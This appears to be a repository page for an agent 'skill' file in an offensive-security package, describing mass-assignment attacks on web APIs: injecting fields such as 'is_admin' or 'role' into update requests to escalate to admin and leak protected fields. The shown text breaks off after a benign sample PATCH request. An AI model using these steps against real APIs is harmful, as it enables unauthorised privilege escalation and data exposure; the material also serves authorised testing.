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mass-assignment

Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.

packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md

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Nov 7, 2026
License
Apache-2.0

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# Mass Assignment + ORM Leak

API endpoints that bind request JSON straight to model `update()` /
`create()` without an allowlist can be coerced into setting admin
fields (`is_admin`, `role`, `verified`, etc).

## 1. Detect
```bash
# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}

# Try adding common privileged fields
PATCH /api/users/me